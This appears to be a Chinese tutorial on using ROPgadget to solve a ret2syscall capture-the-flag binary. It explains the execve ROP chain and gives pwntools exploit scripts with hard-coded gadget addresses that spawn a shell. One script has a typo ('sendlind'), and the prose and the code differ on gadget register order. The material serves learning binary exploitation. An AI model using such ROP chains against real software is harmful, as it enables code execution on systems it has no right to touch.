

ROPgadget的使用方法

程序如下




这时候我们可以写exp
from pwn import *
p = process("./ret2syscall")
offset = 112
payload = b'a' * offset
p.sendlind(payload)
p.interactive()
但是我们的NX不可执行
明确目标(组合 shellcode 的步骤)
我们需要实现一个调用 execve("/bin/sh", NULL, NULL) 的 shellcode。目标是设置以下寄存器值:
系统调用号 (eax): 设置为
0xb,表示execve系统调用。第一个参数 (ebx): 指向
"/bin/sh"的地址,或者指向执行sh的地址。第二个参数 (ecx): 设置为
0。第三个参数 (edx): 设置为
0。
由于无法直接在栈中写入指令,我们需要利用程序中现有的指令(如 pop 和 ret)来逐步实现这些寄存器值的设置。
栈中数据的构造
为实现上述目标,我们可以按照以下顺序在栈中构造数据:
设置
eax为0xb:
找到
pop eax; ret的指令。在栈中放置
0xb,使pop eax; ret执行后将eax设置为0xb。
设置
ebx,ecx, 和edx:
找到
pop ebx; pop ecx; pop edx; ret的指令。在栈中依次放置:
"/bin/sh"的地址。0(表示ecx)。0(表示edx)。
触发系统调用:
找到
int 0x80的地址,并将其放置在栈中,最后触发系统调用。
栈中数据布局示例
栈布局(从高地址到低地址):
----------------------------------
pop eax; ret
0xb
pop ebx; pop ecx; pop edx; ret
"/bin/sh" 的地址
0
0
int 0x80 的地址
----------------------------------
任务
我们需要从程序中寻找以下指令序列:
pop eax; retpop ebx; pop ecx; pop edx; retint 0x80
通过这些指令,配合精心构造的栈数据,我们可以成功实现所需的 shellcode。




继续完成我们的exp
from pwn import *
context(arch = "i386", os = "linux")
p = process("./ret2syscall")
offset = 112
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
payload = b'a' * offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx + p32(0) + p32(0) + bin_sh + int_0x80
p.sendline(payload)
p.interactive()实际上还有 leak libc + ROP
ret2csu, stack pivot, ret2dl_resolve
评论